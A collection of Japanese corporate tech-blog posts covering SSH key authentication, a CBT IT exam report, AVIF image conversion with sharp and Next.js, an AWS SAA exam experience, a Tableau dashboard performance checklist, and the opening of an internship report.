そのため、IDやパスワード、個人情報、企業の機密情報の流出リスクなどを防げます。 公開鍵暗号とは 「公開鍵認証」とは、「公開鍵」と「秘密鍵」という2種類の鍵のペア（キーペア）を用いて認証を行う方式です。 サーバにログインするユーザは、事前に自分用のキーペアを作成します そのうち公開鍵をサーバーに登録し、秘密鍵は自分のPC内に保管しておきます サーバにログインする際には、まず秘密鍵を用いて署名を作成し、サーバへ送信します サーバは受け取った署名をペアとなる公開鍵で検証し、登録済みの公開鍵での検証が成功した場合に限り、ログインを許可するという仕組みです これらはSSHクライアントとサーバの間で自動的に行われるため、ユーザーが意識する必要はありません。 また、秘密鍵に「パスフレーズ」を設定して鍵そのものをロックすることもできます。パスフレーズとはパスワードの一種で、一般的なパスワードはあくまで単一の「単語」ですが、パスフレーズは複雑な「文章」の形を取れるため、より「強い」パスワードを作ることができます。 ロックされた秘密鍵は、正しいパスフレーズを入力しない限り使用できないため、公開鍵認証をよりセキュアに運用できます。 2. サーバ上でファイルの編集が可能 sshが普及する前に使われていたtelnetの場合は、編集したいファイルを一度ローカルディスクにダウンロードします。ダウンロードしたファイルの編集が完了したら、再度元のフォルダにアップロードをする必要がありました。 sshを利用すれば、今まで行っていたファイルをダウンロードしたりアップロードすることなく、サーバ上で直接ファイルを編集できるようになります。 sshを利用する ご自身のPCでsshをするために、公開鍵と秘密鍵のキーペアを生成する必要があります。 以下のコマンドでキーペアを生成することができます。 ssh-keygen -t ed25519 -C "your_email@example.com" -t で暗号化方式を変えられ、デフォルトの設定だと rsa になっているので、 ed25519 にします（ 参考 ） 上記を行うと、以下のような画面になります。 デフォルトではホームディレクトリの .ssh ディレクトリ配下に id_ed25519 と id_ed25519.pub が生成されます。 別のディレクトリに生成したかったり、ファイル名を変えたい場合はここで指定することができます 特に変更させずデフォルトのまま進みたいのであれば、何も入力せずに Enter を押します。 その後、パスフレーズの入力を促されるので、パスフレーズを入力します パスフレーズを設定しない場合は、何も入力しないまま Enter を押します。 上記のような謎の文字列が表されていれば成功です 実際にファイルが生成されているかを見てみると、 .ssh もしくは指定したディレクトリの配下に秘密鍵と公開鍵（.pub付きのファイル）が表示されているかと思います。 今後、サーバに ssh 経由でログインする場合は、上記のように鍵を生成し、公開鍵にあたる 〇〇.pub の中身をコピーしてサーバに登録することで、サーバへ ssh することができます。 参照 https://hnavi.co.jp/knowledge/blog/ssh/ https://www.idcf.jp/words/ssh.html https://pfs.nifcloud.com/navi/words/ssh.htm https://qiita.com/suthio/items/2760e4cff0e185fe2db9 https://www.fu9da.com/post/change-ed25519

はじめに 2022年4月に新卒入社しましたシステム統括本部（現デジタルテクノロジー戦略本部）のU.Mです。 令和４年度上期の基本情報技術者試験（CBT方式）を受験しました。（合格しました！） CBT方式の試験形式についての話を中心とした受験レポートです。 この記事の目的 基本情報技術者試験（CBT方式）の試験形式の特徴を伝える （ 試験問題の非公開への同意 に準拠し、試験内容に関しては記載しません） これから初めてCBT方式の試験を受験する人の不安を減らす CBT方式とは 試験会場に設置されたコンピュータを使用して実施する試験です。 出典： https://www.jitec.ipa.go.jp/1_11seido/cbt_sg_fe.html 私が受験した基本情報技術者試験では、試験会場のPC上で問題の閲覧、解答を行いました。 試験当日の注意事項・受付から受験の流れ・CBTの操作方法 この３つを説明した公式の資料のリンクは こちら です。 この資料は、プロメトリックの試験実施概要ページの ここから見ることができます。 試験当日に起こったこと 試験前 集合は試験開始時刻の15分前でした。その15分ほど前に会場に到着すると人が少なく、スムーズに受付を済ませることができました。 身分証の確認がありました。忘れた場合試験を受けさせてもらえないようです。 ポケットティッシュは包装を外して中身のみ持ち込むことができました。 試験中 試験画面のレイアウトや操作方法を当日知ったため混乱しました。 試験中問題画面左側の問題番号をクリックするとすぐに答えたい問題にとぶことができ、便利でした。 問題用紙に直接書き込むことができないので、説明が長い問題や図が含まれる問題は解きづらかったです。特に午後試験の問題が解きづらかったです。 A4のメモ用紙を１枚配られ、追加の紙が欲しければブザーで係員の方を呼んでくださいと言われたのですが、小心者の私は勇気が出ず呼ぶことができませんでした。結果１枚に収めるために非常に小さい字でメモをしました。 試験後 試験当日中にスコアレポートのメールが届き、得点を知ることができました。 受験しての感想 普段は紙の本を使って勉強しているので、PC試験ならではの特徴に慣れるのが大変だと感じました。 問題文の画面表示は見開き形式ではなく１ページずつのため、問題文のポイントをメモしつつ解くのが特に大変でした。 やっておくとよいこと プロメトリックの試験実施概要を見て、CBT方式の操作方法を確認 PC画面で問題を見ながら手元でメモをして問題を解く練習 基本情報技術者試験過去問道場 がオススメです。 紙の参考書で勉強する派の方も、午後問題の２、３年分はPC上で解いておくとよいかなと思います。 令和４年度下期の試験もCBT方式で行われるようです。これから試験を受けられる方は頑張ってください！ ここまで読んでいただきありがとうございました！

社内でWebアプリケーションの要件についての話がされている際のことです。 画像の拡張子について要件があったんですが、そこには基本的にWebPで、表示できないブラウザはPNGにするという旨が記載されていました。 AVIF君かわいそう、その場での私の気持ちは一つです。 そんなわけで、不思議と話に上がらないAVIFフォーマットとそれへの変換、フロントエンド周りの話をしてゆこうかと思います。 AVIF とは AVIF (AV1 Image File Format) は、 AV1ビットストリームを HEIF (High Efficiency Image File Format) コンテナーにエンコードした、強力でオープンソース、ロイヤリティフリーのファイル形式です。 (中略) 一般的に、 AVIF は WebP よりも圧縮率が高く、同じ JPG セットで中央値 50% 対 30% の圧縮率です -- 引用元: [画像ファイルの種類と形式ガイド__MDN] 見ての通り、ここまで読む限りではWebPよりも優れた形式です。 こんな優れた形式がなぜ使われていないのか、理由はいくつか考えられますが、個人的には知名度とブラウザ対応かと思います。 ブラウザ対応範囲 対応ブラウザは、Chrome, Opera, Firefoxです。 WebPの対応ブラウザはChrome, Edge, Firefox, Opera, Safariなので、比較するとEdgeとSafari対応がされていません。 (ユーザーが意図的に古いバージョンを用いている場合については考えないものとする) SafariとEdgeに対応していないことは地味に辛く、MDNにおいてもAVIFを用いる場合は <picture> 要素を使って他の拡張子に対応するようにしましょうと書かれています。 <picture> 要素は以下のように使用します。 <picture> <source srcset="/cat.avif" type="image/avif" /> <source srcset="/cat.webp" type="image/webp" /> <img src="/cat.jpg" alt="cat" /></picture> 使用しているブラウザに合わせて、 上から順に優先して 表示します。 そのため、例えば上記のコード内のavifとwebpを入れ替えると、webpが優先して使用されます。 ちなみに、 <picture> はIE以外の全ブラウザが対応しているので、IEが寿命を迎えた今、全ブラウザが対応している要素です。 AVIFに画像を変換する 個人的には、 sharp をお勧めします。 理由は単に、node.jsを入れるのが楽なのと、Next.jsの画像最適化機能に使われているのである程度信用があるためです。 単純に変換するだけであれば、以下のコードで変換できます。 #!/usr/bin/env zxconst sharp = require('sharp')sharp(argv.p) .avif() .toFile(`${argv.p}.avif`) コマンドライン引数の取得が手間だったためzxを使用していますが、cli上からファイル名を取得するためだけに使用しているので無視していただいて問題ありません。 このように、ファイル形式を変えるだけであればこうして簡単にできます。 ちなみに、こうして変換した場合のファイルサイズについては以下の通りとなっています。 jpg (元画像) WebP AVIF ファイルサイズ 105940 31324 15309 比率 100% 29.6% 14.5% 写真は、適当な猫の画像を使用しました。 見ての通り、WebPと比較してもさらに小さいことが良くわかると思います。 かなり楽に変換できるので、指定したディレクトリのファイルをWebPとAVIFに変換するなんてコードを書くのも楽です。 素書きのHTMLで使う場合は、こうして作ったファイルを <picture> で出してしまいましょう。 Next.jsにおけるAVIF AVIFは、Next.jsの画像最適化対象です。 ただし、変換速度がWebPと比較すると遅いため、デフォルトの設定ではAVIFは変換対象になっていません。 使用する場合は、以下のように設定を next.config.jsに追加してください。 const nextConfig = { images: { formats: ['image/avif', 'image/webp'], }}module.export = nextConfig これで、AVIFの画像最適化が有効になります。 もし使用する場合は、キャッシュと相談して使うようにしてください。

概要 AWS認定ソリューションアーキテクト アソシエイト(SAA)試験に 一度落ちてから受かった 話です。 ネットでは合格体験記も不合格体験記も両方溢れてますが、実際に周りであまり落ちた人を見かけないので記事にしました。 恥を忍んでスコアなど明け透けにすべてを晒しますので、次会った人は優しく接してあげてください。 ※先に言っておきますが決して自慢できるような点数でもなければ素晴らしいサクセスストーリーでもありません… 尚、本記事の前半は試験自体について、後半で私自身の体験記を書いています。 必要に応じて読み分けてみてください。 ここからは試験自体について触れていきます。 試験の概要 まずはじめに、公式のガイドラインを一読しましょう。 AWS公式ガイドライン - AWS Certified Solutions Architect - Associate 上記に書いてあることがすべてですので、王道だとここを参考に知識を深めていくのが一番よいと思います。 私が受けたのはC02バージョンです。このバージョンは2022年8月末に更新され受けられなくなります。 別にいつ受けても知識をつけるという意味では変わらないと思いますが、今のC02は対策が世間にたくさん転がってるので、試験対策されているという意味では受けやすいかもしれません。 ただ、形式とかはC01とC02でそんなに変わりないらしいので、もし更新されたとしてもやることは変わらないと思います。 全65問を130分で解きます。 試験を一周するのはそこまで苦労しない時間だと思います。 見直しのフラグがつけられるので、一周の後に見直しフラグを付けた問題だけ改めて考え直す…みたいな感じで解きました。 合格ラインは720点です。 100~1000点でスコアが出ます。 CBT(Computer Based Test)となります。 結構初見殺しな感じがするので、AWS公式が出している模試を受けておくことをお勧めします！ AWS公式の模試は無料で受けられ、ちゃんと解説もついてるのですごくお勧めです。 初回の不合格になったときは有料の方受けました…いい時代になったな 無料で受けられる試験については改めて後述します。 受験費用は 15,000円(税抜)です。マイナビでは資格支援制度があるため、受験料は会社負担で受験することができます。※ただし合否に関わらず請求は1回まで 模試代も費用請求できますが、無料の方で十分だと思います。 私の所属する課では、AWS試験は業務扱いになるため、業務時間内に受けてよいことになっています。 ただ私の性格上、土日に受けたい（平日中抜けすると結果聞かれてなんか精神ダメージ来そう）ので土日にしました。受けた後にオフィスに戻ったりするの嫌だし… 試験会場ですが、自宅でオンラインで受験する場合とテストセンターで受験する場合があります。 私は1度目も2度目もテストセンターにしました。オンラインだとカメラとかトラブル時の問い合わせとかが大変なようです。 どちらのテストセンターも変わりはなかったです。必ず15分前までに会場に着きましょう。ちなみに試験開始までずっと待たされることはなく、むしろ着いた順に早めに受けられたりします。 腕時計とか荷物類は持ち込めず、すべてロッカーに預けます。ロッカーサイズはそんなに大きいのがたくさん用意されてるわけではなさそうでしたので、手荷物は気持ち少なめがおすすめです。 勉強法 参考書 下記を使いました。 本は相性があると思いますので、下記以外でも好きなものを選ぶとよいと思います。 この1冊で合格! AWS認定ソリューションアーキテクト - アソシエイト テキスト&問題集 黄色いこちらをメインで見てました。本当は↓のみんな大好き黒本を先に読み始めていたんですが、身内からこちらを譲ってもらい読んだところ結構読みやすかったので、終盤はこちらばかり読んでました。 徹底攻略 AWS認定 ソリューションアーキテクト − アソシエイト教科書[SAA-C02]対応 こちらもよい本です。 周りで受かってる方はこれ読んでる人が多い印象があります。 模試 AWS 公式が用意している無料の模試をまずは解いてみることを強くお勧めします。 利用方法はクラスメソッド様がまとめているこちらが大変参考になります！ DevelopersIO - AWS認定の無料模擬試験がさらに便利になりました！ 解説が載っているだけでなく、親切に各サービスのホワイトペーパーのリンクも載せてくれています。時間のある方はすべて目を通すと、それだけでもかなり知見が溜まります。 20問くらいしかないです。本番は65問なので少なめです。 反復練習で、計5周くらいはした気がします。 私には 不合格体験があったため 、上記だけでは不安でした。なのでUdemyで模試を買ってそちらもやるようにしていました。 【2022年版】AWS 認定ソリューションアーキテクト アソシエイト模擬試験問題集（6回分390問） Udemyは状況に応じて都度内容アップデートが走るので、情報が古すぎる…ということはなさそうです。 Udemyはセールを度々やってますので、もし買うのであればセール時を狙うのがおすすめ。 不合格体験記にも書きますが、（時間がなかったので）3回分だけ解き、反復練習で再度同じ問題を3周くらいやりました。 その他 情報発信系の記事は積極的に読んでおくとよいと思います。 サービス名で調べると大体「公式ホワイトペーパー」や「やってみた系」の記事が見つかりますので、両方読んでおくのをお勧めします。 「やってみた系」はたまに間違ってたり情報古かったりするので注意です。 AWS ホワイトペーパーとガイド AWS サービス別資料 DevelopersIO: クラスメソッド発「やってみた」系技術メディア 業務でもしAWSに触れる機会があるのであれば、積極的に関わるとよいと思います。 私はあまり机上の勉強が得意ではないので、業務で出てきたサービスは頭に残りやすく、出てきてないものは本で読んでもすぐ忘れて何度も調べる羽目になりました（自分なりに情報をまとめたりしてたんですが…実際に触れたことがあるかないかはやはりデカいです） もし業務で触れられないとしても、自分だったらこのサービスはどういう構成にする？みたいな想像をしながら勉強するとよさそうです。ユースケースとか特に目を通しておくとよいと思いました。 試験に出た、押さえておくとよいところ 結構忘れていますが… CloudFrontを絡めた問題が多く出た気がします。 データベースを選ばせる問題も結構出ました。加えてLambdaやSQS絡めたりとか。 開発やってる方は余裕だと思いますが、 ネットワークメインのインフラ系には大変苦しかったです！！ だから印象に残っているのかも。 特にDynamoDBは頻出でした。本当に苦しかった。。。 Amazon DynamoDB Accelerator (DAX) は、フルマネージド型高可用性インメモリキャッシュでDynamoDB用に特化しているサービスです。 S3の問題もかなり出ました。ここも苦手なところでした。 ストレージクラス何選ぶ？とか、ライフサイクルポリシーらへんとか。CloudFrontとの合わせ技とかも。 単純に何を選ぶか、というより、具体的な使用方法が選択肢に書いてあり、それが今回のケースにマッチしてるのか考える感じでした。（どの方法もできそうだけど、ケースごとのベストプラクティスを選ばせるなど） EBSやEFSは大抵、単純にどれを選ぶか？とだけ出る問題が多かったように思います。 コンテナ系が数問出ましたが、そこまで迷わせる感じはなかったです（ここで減点されてたらウケる） IAM周りも少し出ましたが、選択肢としてはそこまで迷わなかった気がします（ここで減点されてたら泣ける） 他にもいろいろ出てましたが、私の印象に残ってるのは以上です！ ここからは私自身の体験記です。 ぜひ笑い飛ばしてください！(笑) 体験記 普段の業務 自分の業務範囲は、オンプレ環境においてのネットワーク系インフラ（物理機器を扱う低層）がメイン、業務で直接AWSに触れる機会はDirectConnect周りのみでした。 ただ、これからの時代AWSについてわかっておかねば困るだろうと思い勉強を始めました。（1年前の気持ち） ありがたいことに私の所属する部署では、業務時間内に勉強してよいこと、検証環境を自由に触れることから、自由に勉強するという観点では大変恵まれたところにいました。 ただやはり業務時間内では十分に時間がとれるとは限らないので、結局通勤中とか定時後にちょくちょくやっていた気がします。（といっても毎日真面目にはできませんでした。朝は電車酔いするし帰りは寝落ちするし…） つまり私のスペック的には、そこまで本格的に業務でAWS触ってたわけじゃありません。 不合格の時の話 不合格時の結果 お恥ずかしながら、この試験には一度落ちています。 落ちています！！！ 周りの方が当たり前のように受かっていくのを見ていたので、正直結構落ち込みました。 スコアは以下です。 2021年5月に受験しました。（この記事を書いてる1年ほど前になります） 惜し…くはないな…… ちなみに、合否判定は試験終了後、簡単なアンケートに答えた直後にすぐに出ます。（点数は後日わかります） つまり、 試験後の「あー終わった終わったとりあえず結果出るまで楽にしてよう」みたいな猶予は一切ありません。 何度も言いますがマジで凹みました。つらい。クソデカため息ついちゃう。 不合格時の反省 正直試験を受けている際は割と手応えはあった方でした。 完全な勘違いなんですが。 ただ、終わった後に冷静に振り返ってみると、「初見の（もしくは認識から漏れてた）サービスがあったな…」とも思いました。 AWS のサービスは幅広いので、すべてを網羅というのは厳しいかも知れませんが、単語からなんとなく推察するくらいはできた方がよいなぁと感じました。トランジットVPCは知らなくても、Transit Gatewayはなんとなく知ってるからそこからサービス内容がなんとなくわかる的な。 ちなみに、当時の勉強期間は1ヶ月くらいだったと思います。 点数の開示は翌日くらいのたぶんAWS側でバッチが走ってるタイミングで通知されわかるようになりますが、点数見た感じあともうちょい勉強すればいけるかな…？といった感覚もありました。（ただこの感覚は全く活かされていません） 合格の時の話 不合格の場合、14日後から再度試験が受けられます。 本当は2週間後すぐくらいに受けよう！と意気込んでいたのですが、業務が少し立て込んだのもあって遅らせているうちに気持ちが薄れてしまいました。。。 ※大変よくない例ですので皆さん真似しないように。 合格の時の結果 スコアは以下です。 2022年7月に受験しました。 思ってたよりギリギリじゃねぇか… 前述した通り、合否判定自体は試験終了後のアンケートに答えたあとにすぐに出ますので、心臓がおかしくなるくらい緊張して画面を進めていきました。 「判定：合格」と出た時、もしかして幻覚見てる？？と思って何度も上から下まで見直したりしてました。その後、喜びを噛みしめました！！ 2つの経験を通しての感想 初回受験して落ちた際は参考書をメインに勉強していました。知識のつき方的にはおそらく今とそんなに変わらないと思うのですが、具体的なユースケースを考慮できていなかったり、そもそも問題文の言い回しとかに若干戸惑いがあったり、不慣れで目が滑ってよく問題を読めていなかったりしたのがよくなかったんだろうなという反省があります。日本語訳もたまーに変だったりしたのも気になってしまいました。（問題文は英語に戻せますので、たまに戻して読んだりするのもおすすめです） 2回目の受験の際は、まずは問題に慣れたいというのもあって模試を中心に何度かやっていたおかげで、長い問題文や選択肢や独特の言い回しが来ても面食らわずに解くことができました。反復練習してわからないサービスは都度公式のホワイトペーパーで調べたり具体的なユースケースをセットで確認していたのもよかったのだと思います。 実際の試験では、やはり具体的なケースに基づく問題の出し方が多かったです。模試の問題そっくりそのまま出てくるケースはほぼなかったです。 余談ですが、初回の受験時の方が試験対策としての総勉強時間としては長かったです。2回目は「とりあえず去年一回落ちてんだし気軽に行ってみるか」とサクッと申し込んでしまったので、本格的に試験対策に着手できたのは1~2週間くらいでした。（一応それまでは、ダラダラとわからないサービス都度調べる、AWS Black Belt Seminarを眺める…みたいなことはしていました） ただ2回目の時は、所属している部署の方針として「AWSガンガンいこうぜ！」でなんとなく日常的に慣れた存在だったり、（直接的には触らないにしても）構成図を気軽に目にしたり、メイン業務ではないのに関わらせてくれる状況だったりしたのが功を奏したんだと思います。こればっかりは周りの方に感謝しかないです。 まとめ これは本当に身に染みて思っていますが、資格系の勉強すべてに言えることとして受験はあくまで通過点でしかないです。 資格を持っていなくても、実務でAWSの知識を生かして設計・運用している方はごまんといらっしゃいますし、市場価値としてはそちらの方がはるかに高いんだろうなと十分認識しています。尊敬してます。 ただ、今回オンプレ担当の自分がAWS SAAの資格取得のために勉強をすることで、そこまで業務で触っていなくても最低限の知識は身に着けられただろう、というのがよかったなと思っています。 いつでも受けられる試験なので、皆様ぜひ挑戦してみてください。 落ちても怖くない！

はじめに データ活用戦略課（現デジタルテクノロジー戦略本部）のT.Sです。 Tableauでダッシュボードがなかなか表示されないなどのことがあったりしませんか？ そんな時は、まず以下のポイントをチェックして、ダッシュボードの見直しを行って見てください。 目安としては、読み込みに2分以上かかる場合は一度見直しましょう。 また、添付のExcelはセルフチェックリストとしてご使用ください。 Tableauダッシュボードセルフチェックリスト 大前提 大前提の情報を先に書いておきます。 Tableau Desktopでダッシュボードがなかなか開かない場合は、Tableau Serverでも開きません！！ なので、Tableau Desktopで読み込み時間が遅いと感じるダッシュボードをTableau Serverにパブリッシュするのは控えましょう。 Tableau Serverでも読み込みに時間がかかり、なかなか開かないというのが落ちです。 まずはここから（一般的に見直すポイント） Tableauワークブックはシンプルイズザベストを目指しましょう！ 無駄なものはできるだけカットしましょう！ 1. 分析に使っていないデータソースはないですか？ 1つのダッシュボードに沢山のデータソースを接続すると、パフォーマンスは落ちます。 画像のDBマークをクリックすると、このダッシュボードで使用しているデータソースが何かを確認できます。 この数が少なければ少ない方がパフォーマンスは向上します。 なので、使用していないデータソースがないか今一度確認してみてください。 使用していないデータソースがある場合は削除しましょう！ 2. データはリアルタイムである必要はありますか？ Tableauのデータは「ライブ」データと「抽出」データがあります。 「ライブ」データは接続先のデータソースに毎回アクセスをして、データを表示させています。リアルタイムの数字が反映される点は素晴らしい機能ですが、都度接続先にアクセスしに行くため、開くのに時間がかかります。 一方、「抽出」データはデータの鮮度はライブに比べて落ちるのですが、Tableau専用のファイル形式であるため、Tableauが一番パフォーマンスを発揮できるように設計されてます。 リアルタイムの必要はなく、「1週間に1回しかデータが更新されない」などのものに関しては、抽出のデータソースを使用することをお勧めします。 3. 1枚のダッシュボードにたくさんグラフを載せてませんか？ ダッシュボードは、色んな情報を一度に確認できるものですので、皆さんお使いになられているかと思います。 ですが、1つのダッシュボードに沢山グラフを載せすぎると、グラフを表示させるのに時間がかかります。また、パフォーマンスだけでなく、グラフそのものも小さくなってしまい、せっかくきれいに可視化したものが見づらくなってしまいます。 そのため、ダッシュボードを設計する際に、最初はマクロの視点のグラフを載せたダッシュボード、それから徐々に詳細な視点のグラフを載せるという対応を取るといいと思います。 4. 不要なデータ項目ありませんか？ 読み込むデータの項目が多いと、その分読み込み時間がかかります。 分析に必要ない項目であると感じたら、項目を削除、または非表示にしましょう。 例えば、画像の「月」という項目が不要であれば・・・ 「▼」をクリックして、非表示を選択。 「月」をダッシュボードで見えないようにしましょう。 すると、パフォーマンスは上がります。 データを見直す 5. データをTableau Desktopで加工してませんか？ 皆さんが一番やりがちなのは、Tableau Desktop内でデータを結合したり、縦につなげたり、データをブレンドしたりなどを行ってしまうことです。 Tableau Desktop内の機能として、このような操作が出来てしまうのですが、そこは我慢しましょう。 6. 「参照整合性を仮定する」を使ってみましょう 5で結合などの加工はTableau Desktopではやらないと言ったのですが、 どうしてもという場合は、「参照整合性を仮定する」を使ってみましょう。 「データ」タブの下から4番目のところにあります。 これを使用することで、結合でクエリのパフォーマンスを向上させられる可能性があります。 詳しくは こちら を参照下さい。 ただ、やはりTableauDesktopで結合はせず、DataRobot Data Prep(Paxata)やTableau prepなどのデータプレパレーションツール、もしくはデータベースなどでデータを作成してから、Tableau Desktopに接続をしましょう。 7. ODBCドライバーを使っていませんか？ データソースを追加する時、どのドライバーを使っていますか？ ドライバーが用意されていないものに接続をする場合は致し方ないかもしれないのですが、それ専用のドライバーがある場合はそちらを使用しましょう。 8. 不要なレコードは取り込んでいませんか？ 例えば、今年度の実績や傾向を調べるためのダッシュボードに、2年前、3年前のデータを読み込ませていませんでしょうか？ 前年同月と比較をしたいのであれば、1年前のデータが存在すれば問題ないはずです。 取り込むレコード数はなるべく減らしましょう。 データタブの「データソースフィルターの編集」から設定することが可能です。 9. 抽出を作成する前に、使用していない項目を非表示 2でライブより抽出が適しているとお話をしました。抽出のデータソースを作る際にも、使用していない項目を非表示や削除して、抽出データソースを作成しましょう。 抽出の作成も、項目数やデータレコード数によって、作成の時間やサーバにかかる負荷が変わります。いらないものは削除するようにしましょう。 10. カスタム SQL クエリを使っていませんか？ データソース作成する際に、Tableau Desktop上でSQL（データソースからデータを抽出するためのプログラミングコードのこと）を書くことができます。そのことを「カスタムSQLクエリ」と呼びます。TableauからDBに対して通常の接続を行うと、Tableauは独自で最適化されたクエリを生成して実行しますが、カスタムSQLクエリは記載されたSQL通りに実行されます。そのため、最適なクエリではなくなるため遅くなります。 SQLを書くと他のユーザーも解読が難しいというデメリットもありますため、カスタムSQLクエリを使うのは避けましょう。 11. どうしてもカスタム SQL クエリが必要な場合は「*」や副問い合わせの使用はやめましょう。 SQL文を自分で書く場合、SELECT * FROM ～を使用すると全項目データの取得をすることができます。ただし、全項目分析に使用するか今一度考えてください。不要な項目が混ざっていることがほとんどでありますため、「＊」を使用せず項目名を明示的に指定してあげましょう。 また、Tableau DesktopでGUI画面でデータ作成している途中、そのデータをカスタムSQLクエリに切り替えた場合、既に作成されている途中のデータのSQLがデフォルトで準備されます。 例えば、下記画像のように、テーブルを結合したデータソースがあったとします。 こちらを「カスタム SQLに変換」をクリックします。 すると、SQLが自動で生成されます。 このままSQLを使用してしまうと、パフォーマンスが落ちてしまうことがあります。 理由は、分析に不要な項目が残ってしまうため、また、SQLを自動生成する際に 副問い合わせ が使われている可能性があるためです。 特に途中までユニオンを含んだデータソースを作成している方は、この副問い合わせが含まれたSQLが生成されてしまいますため、その場合は副問い合わせはせずにSQLを書き直してください。（不用意な副問い合わせはパフォーマンスが落ちます。） 画像：ユニオンしたデータソース 画像：上記データソースをカスタムSQLクエリに修正したもの 赤枠のように、FROMの後ろにカッコがあり、そのカッコ内にSELECT文が記載されていましたら、SQLを見直ししてください。 ダッシュボードを見直す 12. Tableauのtwbファイルのサイズが大きくないですか？ 3でも話しましたが、ダッシュボードの数やダッシュボードに使用しているビューの数が多いと、ダッシュボードは重くなります。分割できるものは分割しましょう。 13. いらない項目まで、ビューで表示させてませんか？ 必要な項目だけをビューで表示させましょう。 いらない項目をビュー内に残しておくと、塵積ではありますが徐々にダッシュボードを開くのに時間がかかっていきます。 14. フィルタをたくさん作っていませんか？ ダッシュボード作成でフィルタをよく作るかと思います。ですがフィルタをたくさん作成することで、そのフィルタの情報を適用するのに時間がかかってしまい、結果ワークブックの挙動が遅くなってしまいます。フィルタは必要なものだけワークブックに表示させましょう。 15. 固定サイズのダッシュボードを使いましょう！ あまり気にされていない部分であるとは思いますが、ダッシュボードのサイズは「固定サイズ」を使用しましょう！ Tableau Desktopで個人使用する分にはサイズをあまり気にする必要はないのですが、 Tableau Serverにパブリッシュをして他のユーザーにダッシュボードを共有する場合は気にする必要があります。 この部分を自動にすると、閲覧者によって画面サイズが異なりますため、Tableau Serverに使用環境ごとのキャッシュが溜まっていってしまいます。 特にサイズにこだわりがなければ、なるべくサイズは固定サイズを使用しましょう。 16. 集計表タイプのレポートを作っていませんか？ Excelやスプレッドシートのような、行数が大量にある表タイプのレポートはTableauは得意としない分野です。 せっかくTableauが使えるのに、集計表を作るのはもったいない気もします。なるべく集計表は使用せず、幅広い表現技法を試してみてください。 フィルタ処理を見直す 17. コンテキストフィルタを使いこなそう 通常のフィルタは他のフィルタに関係なく、データ ソース内のすべてのレコードにアクセスし、フィルタを適用します。一方、コンテキストフィルタは他のフィルタより先にデータをフィルタリングするため、他の通常のフィルタの処理が速くなる可能性があります。このコンテキストフィルタを設定することで、他のフィルタはコンテキストフィルタで残ったデータにのみフィルタを適用するため、レコードの絞り込みが早くなります！ 詳しくは こちら を参照ください。 ただし、過度な使用はかえって逆効果で、ダッシュボードの許容を遅くさせてしまします。使用する際は1,2個程度にしておきましょう。 18. 複数のワークシートにまたがってフィルタを使っていませんか？ 複数のワークシートにまたがったフィルタを作成することがTableau上では可能です。ですが、これを実施すると複数のクエリ（データにアクセスするためのプログラム）が実行されますため、結果が返ってくるのが遅くなります。複数ワークシートにまたがってのフィルタの多用は要注意です。遅いと感じましたら見直してみましょう。 19. 「適用」ボタン表示させてますか？ フィルタで「適用ボタンを表示」オプションを有効にすると、「適用」ボタンがフィルタ上に表示されます。 この「適用」ボタンがクリックされるまではデータの読み込み、フィルタの処理は行われません。 一方で「適用」ボタンなしだと、1つフィルタの操作をするだけで、すぐにデータを読み込みに行きます。 その分、読み込みが遅くなったり、操作的にも一回フィルタ選択して、データを読み込み、もう一回フィルタ選択して、また読み込み・・・を繰り返さないといけません。 ダッシュボードやビューのフィルタには、適用ボタンを表示させるようにしましょう。 計算処理を見直す 20. Tableauでの計算はなるべく控えましょう Tableauはデータを可視化するツールであります。計算機能は備わっているものの得意とはしていないです。 データの集計が多かったり、複雑な計算を行いたいときはTableauにデータソースとして取り込む前に処理できないか検討してください。 21. 計算でやらなくても可能なことを計算でやってませんか？ 例えば、値をグルーピング（カテゴライズ）する際に、IF関数などを使ったりしていないでしょうか？ その作業は、Tableauの「グループ」を作成するという操作でも作成が可能です。 Tableauのグループの作成は簡単で、グループ化したい項目を右クリックで選択し、「作成」、「グループ」とクリックしていきます。 すると、項目の値が出てくるため、グループ化したい項目を選択します。 選択が終わりましたら、「グループ」をクリックしますと、グループ化されます。 グループの値に名前を付けてあげると、IF文と同じことができます。 全ての設定が完了したら「適用」をクリックしましょう。 このように、関数で計算をしなくても、クリック操作で同じことが出来る可能性がありますので、なるべく計算は使用せずにダッシュボードを作成してみてください。 22. COUNTD関数は計算速度が遅いです COUNTD関数（ユニークなレコードの件数を数える関数）は接続するデータソースの全レコードにアクセスをして、重複レコードを削除して計算しています。 そのため、COUNTDはなるべく使用するのは避けた方が動きはよくなりますので、COUNTDを使用する必要がない場合はCOUNT関数を使用しましょう。 最後に Tableauでダッシュボードを作成する方法はたくさんあります。 皆さん思い思いのダッシュボードを作成していただいても構いませんが、 Tableau Serverなどで共有をする際に、今の作成方法だとサーバに負荷がかかってしまう可能性があります。 今までダッシュボードのパフォーマンスを意識したことがなかった方は、 一度、パフォーマンスという観点を意識したワークブックを作成してみてください。 参考資料 ●Tableau ワークブックのパフォーマンス チェックリスト　（Tableau） https://help.tableau.com/current/pro/desktop/ja-jp/perf_checklist.htm ●Tableauで作ったダッシュボードが遅い時にチェックする30のポイント #tableau　（classmethod） https://dev.classmethod.jp/articles/tableau-performance-checklist/#toc-17 ●Tuning Tableau Server: Performance Best Practices　（Tableau） https://www.youtube.com/watch?v=YYNCudevr6o ●Best Practices for Dashboard Performance　（Tableau） https://www.youtube.com/watch?v=6KGjjcCGxa0 ●SQL 副問合せのサンプル(サブクエリ)　（ITSakura） https://itsakura.com/sql_subquery

はじめに こんにちは！ 株式会社マイナビの就業型インターンシップに参加した @soutaschool , @toshi-bp , @kajikentaro , @aya-se です！ 本記事では就業型インターンシップに参加するきっかけや、実際に参加して経験した業務などをざっくばらんに書いていきます。 環境について オフィスは新宿駅直結のミライナタワーです。席はフリーアドレスになっていて、出社の時は好きな席に座って作業します。オフィスには私たちの所属している開発課だけでなく、AIシステム課、RPA課、インフラシステム課など様々な組織の方が働いています。 1席に2台のモニターが備え付けてあるので、貸与されたノートPCを接続します。モニターアームがかなり柔軟に調節できるので、片画面を縦にしてコーディングをしている人をよく見かけます。 ▲オフィスには集中して開発作業ができるスペースもあります キーボード・マウスは自分で用意する必要がありますが、好きなものを使うことができます。 1人1つロッカーがあるので、キーボードやマグカップなどの荷物は置いておくことができます。 1日の動き(一例) 時間 やること 9:15～10:00 オフィスに出勤してGitHubやBacklogの確認 10:00～10:15 朝会(フロントエンドとバックエンドで15分ずつ) 10:30～12:30 タスクを行う(コーディング・レビュー・調査・MTGなど) 12:30～13:30 お昼休憩(他のインターン生や社員の方々とランチ) 13:30～17:30 タスクを行う(コーディング・レビュー・調査・MTGなど) 17:30～17:45 進捗共有・退勤 